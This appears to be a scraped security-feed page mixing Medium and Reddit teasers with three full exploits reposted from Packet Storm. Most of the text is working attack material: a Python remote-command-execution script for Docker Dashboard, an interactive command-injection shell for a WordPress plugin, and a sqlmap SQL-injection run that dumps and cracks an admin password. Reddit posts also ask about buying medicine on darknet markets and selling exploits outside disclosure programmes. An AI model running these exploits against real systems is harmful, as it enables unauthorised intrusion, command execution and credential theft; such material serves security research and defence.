Hacking on Medium
Heist-HTB-Writeup

https://cdn-images-1.medium.com/max/600/0*9gb3Wugo0gN6P0Yu.png
Today I ‘m gonna solve this windows machine.

Continue reading on Medium »

Hacking on Medium
Suplanting Antonio Banderas

https://cdn-images-1.medium.com/max/996/1*GTnrd0qviylron8EAEpIww.jpeg
How to impersonate any Spanish actor thanks to a programming glitch

Continue reading on Geek Culture »

Hacking on Medium
Flash news! SideCopy Malware Campaigns Targeting Entities in India. — CyberWorkx

https://cdn-images-1.medium.com/max/733/0*N155mIdZTTyK4FHW
Researchers from Cisco’s Talos intelligence has observed a SideCopy malware extending its campaign against Indian entities with the…

Continue reading on Medium »

Deep Web
Found a podcast I thought I’d share for those interested in the Silk Road

https://open.spotify.com/episode/09v8uDwuTOpQmgqlM6ty9k?si=XxUiovQnS_OGwX4q84_Chg&dl_branch=1

https://podcasts.apple.com/us/podcast/the-way-podcast/id1501033629?i=1000518818542

Sharing this for people who are into podcasts. I’ll copy and paste the description for those people:

In 2011 the Silk Road paved the way for selling drugs on the dark web. Here, anyone anywhere could buy any drugs they wanted safely and anonymously. What looked like an innocent libertarian marketplace for users had a dark underbelly. Eileen Ormsby, journalist and author of 8 books covering the dark web came on the show to discuss what was the Silk Road. Ormsby covered everything from law enforcement, to Dread Pirate Roberts, and even the Mongoose.

submitted by /u/Arebranchestreehands
[link] [comments]

Deep Web
Tips and tricks ? Help :)

Hi everyone i am very interested in browsing the deep web, just to look at pages and see the weird side of the internet, I have no plans to do anything illegal but only to read something fun and exciting, I am also super interested in IT security, so I want the highest security I can get for myself, now that I'm going to explore the web, so it's for my own security and to learn about IT security and to make myself anonymous, and yes I know you can not be 100% safe / anonymous.

what should I use / do? :)

submitted by /u/UNISPEKT
[link] [comments]

Deep Web
Please Help my Dog [urgent]

So I am no longer able to afford my dogs medicine from the vet due to unforeseen circumstances, and I will now give a bit of backstory.

My dog was diagnosed with Cushing disease and he needs a medicine known as trilostane/vetoryl. It costs me 95 dollars every 15 days and I'm not able to keep this up. He is an older dog and I'm not sure if he will be able to handle coming off his meds.

I tried to use a cheaper online pharmacy but my veterinarian won't transfer the prescription out to anywhere because he wants to keep the very profitable client that is my poor dog named Dutch.

I know this may be dancing the line in terms of rules, but do you guys know of any pharmacies on the deep web that may carry this sort of thing? Normally I wouldn't even ask but I don't know where to look. I've ordered various things for myself on the deep web but unfortunately and unsurprisingly, generic dog meds are not a popular category on the marketplaces I normally use.

submitted by /u/ShermanWert
[link] [comments]

hacking: security in practice
Acquisition platforms for mid-market software exploits? (US)

Preface by saying I consider myself a noob as such most of what I research revolves around what would be considered "mid-market" or industry-specific software (fewer eyes on it, better for learning). I've sort of sat a couple of exploits of different enterprise software (chained, but fully developed), but I have no idea what I can do with them. Is there any vanilla method to get compensated for these exploits that would otherwise not be acquired through regular channels like ZDI? I understand I wouldn't be drowning in cash but student loans are going to kick in soon for me, so yeah, money

submitted by /u/base64_drop
[link] [comments]

hacking: security in practice
Parrot OS Security: OVA or normal installation?

I want to get started with Parrot OS since I prefer it over Kali and I plan on using it in Virtual Box on top of my Windows installation. Is it worth downloading the standard ISO and install it inside of VBox or is is better to use the pre-made OVA to minimise work? Do I lose anything if I choose the OVA?

submitted by /u/KingWaffleIII
[link] [comments]

hacking: security in practice
Malicious code inside usb device's memory - keyboard, mouse etc

Many USB devices have onboard memory nowadays. For example my mouse and keyboard have onboard memories where certain settings can be saved.

Could you store something malicious inside aswell? Probably yes, but are there any papers, articles, blogs available about this?

submitted by /u/godjsin
[link] [comments]

Hacking Articles
Metasploit for Pentester: Sessions

In this series of articles, we will be focusing on the various mechanisms of the Metasploit Framework that can be used by Penetration Testers. Today we are going to learn about the session’s command of the Metasploit Framework.  Sessions command helps us to interact and manipulate the various sessions created

The post Metasploit for Pentester: Sessions appeared first on Hacking Articles.

Exploit Collector
Docker Dashboard Remote Command Execution

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Docker Dashboard suffers from a remote command execution vulnerability. The fix is added in commit 79cdc41.

MD5 | 4c29691af5fd9c2080f1f24e78725fe6

Download
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# dockdash.py
#
# Docker Dashboard Remote Command Execution Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# July 2021
#
# "A simple web based GUI for managing Docker containers and images"
#
# Note: this app is NOT part of the official docker product, nor related to the
# Docker Dashboard UI in Docker Desktop. They are different projects and maintainers.
#
# More info: https://dockerdashboard.github.io
#
# -------
# Details
# -------
#
# The web GUI runs on port 3230. There are two main issues that enable the RCE...
#
# 1) Although when starting the server it says go to http://localhost:3230, it's
# actually listening on the network interface by default. There is no auth
# so anyone with access can start exercising functionality of the app.
#
# 2) Normally these controllers are used to start, stop or create new containers.
# But no validation of parameters or filtering based on acceptable commands sent
# sent to docker on the backend enables clean, vanilla command injection as the
# running user. Many of the APIs are vulnerable, with the most notables ones
# being /api/container/command and /api/image/command.
#
# ----
# Demo
# ----
#
# > ./dockdash.py 10.1.1.102 "uname -a;pwd"
# Linux ubuntu 5.4.0-48-generic #51-Ubuntu x86_64 GNU/Linux
# /opt/docker-web-gui/backend
#
# CVE-2021-27886
#
# Fix
# - commit 79cdc41
#

import sys
import argparse
import requests

DEFAULT_PORT = 3230
SIGNATURE = ('X-Powered-By', 'Express')

class DockDash(object):
def __init__(self, args):
self.target = args.target
self.cmd = args.cmd

def run(self):
target = "http://" + self.target + ':' + str(DEFAULT_PORT)

session = requests.Session()

try:
resp = session.head(target + "/")
except Exception as error:
print("Error: %s" % error)
return -1

if(SIGNATURE not in resp.headers.items()):
print("%s doesn't look like a dashboard server..." % target)
return -1

commands = self.cmd.split(';')

#
# "out here trying to get a mf'in scholarship"
#
for command in commands:
try:
resp = session.get(target + \
"/api/container/command?container=&command=;" + command)
#"/api/image/command?image=&command=;" + command)
except Exception as error:
print("Error: %s" % error)
return -1

if(resp.status_code == 200):
response = resp.text.strip('"').replace('\\n', '\n')
print("%s" % response)
else:
print("something went wrong, server returned %d" % resp.status_code)
return -1

return 0

def arg_parse():
parser = argparse.ArgumentParser()

parser.add_argument("target",
type=str,
help="DD host")

parser.add_argument("cmd",
type=str,
help="command to execute")

args = parser.parse_args()

return args

def main():
args = arg_parse()

dd = DockDash(args)

result = dd.run()

if(result > 0):
sys.exit(-1)

if(__name__ == '__main__'):
main()

Source:packetstormsecurity.com

Exploit Collector
WordPress Plainview Activity Monitor 20161228 Remote Code Execution

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
WordPress Plainview Activity Monitor plugin version 20161228 authenticated remote code execution exploit.

MD5 | 93650ad2460fe99455fca01d973be3e8

Download
# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
# Date: 07.07.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/
# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip
# Version: 20161228 and possibly prior
# Fixed version: 20180826
# CVE : CVE-2018-15877

"""
-------------------------
Usage:
┌──(root@kali)-[~/tools]
└─# python3 WordPress-Activity-Monitor-RCE.py
What's your target IP?
192.168.101.28
What's your username?
mark
What's your password?
password123
[*] Please wait...
[*] Perfect!
www-data@192.168.101.28 whoami
www-data
www-data@192.168.101.28 pwd
/var/www/html/wp-admin
www-data@192.168.101.28 id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
"""

import requests
from bs4 import BeautifulSoup

def exploit(whoami, ip):
while 1:
cmd = input(whoami+"@"+ip+" ")
url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
payload = "google.com.tr | " + cmd
data = {'ip': payload , 'lookup' : 'lookup' }
x = requests.post(url, data = data, cookies=getCookie(ip))
html_doc = x.text.split("
Output from dig:
")[1]
soup = BeautifulSoup(html_doc, 'html.parser')
print(soup.p.text)

def poc(ip):
url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
myobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }
x = requests.post(url, data = myobj, cookies=getCookie(ip))
html_doc = x.text.split("
Output from dig:
")[1]
soup = BeautifulSoup(html_doc, 'html.parser')
print("[*] Perfect! ")
exploit(soup.p.text, ip)

def getCookie(ip):
url = 'http://' + ip + '/wp-login.php'
#log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1
data = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}
x = requests.post(url, data = data)
cookies = {}
cookie = str(x.headers["Set-Cookie"])

for i in cookie.split():
if(i.find("wordpress") != -1 and i.find("=") != -1):
cookies[i.split("=")[0]] = i.split("=")[1][:len(i.split("=")[1])-1]
return cookies

ip = input("What's your target IP?\n")
username = input("What's your username?\n")
password = input("What's your password?\n")
print("[*] Please wait...")
poc(ip)


Source:packetstormsecurity.com

Exploit Collector
Online Covid Vaccination Scheduler System 1.0 SQL Injection

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
Online Covid Vaccination Scheduler System version 1.0 suffers from a remote time-based blind SQL injection vulnerability.

MD5 | 2de8c8ebac058de7045deffc42bce069

Download
# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection
# Date: 2021-07-07
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP
################
# Description #
################

The admin panel login can be assessed at http://{ip}/scheduler/admin/login.php. The username parameter is vulnerable to time-based SQL injection.
Upon successful dumping the admin password hash, we can decrypt and obtain the plain-text password. Hence, we could authenticate as Administrator.
###########
# PoC #
###########

Run sqlmap to dump username and password:

$ sqlmap -u "http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&password=blabla" --cookie="PHPSESSID=n3to3djqetf42c2e7l257kspi5" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler -T users -C username,password --dump
###########
# Output #
###########

Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 7551 FROM (SELECT(SLEEP(5)))QOUn) AND 'MOUZ'='MOUZ&password=blabla
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
current database: 'scheduler'

Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+
The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123

Source:packetstormsecurity.com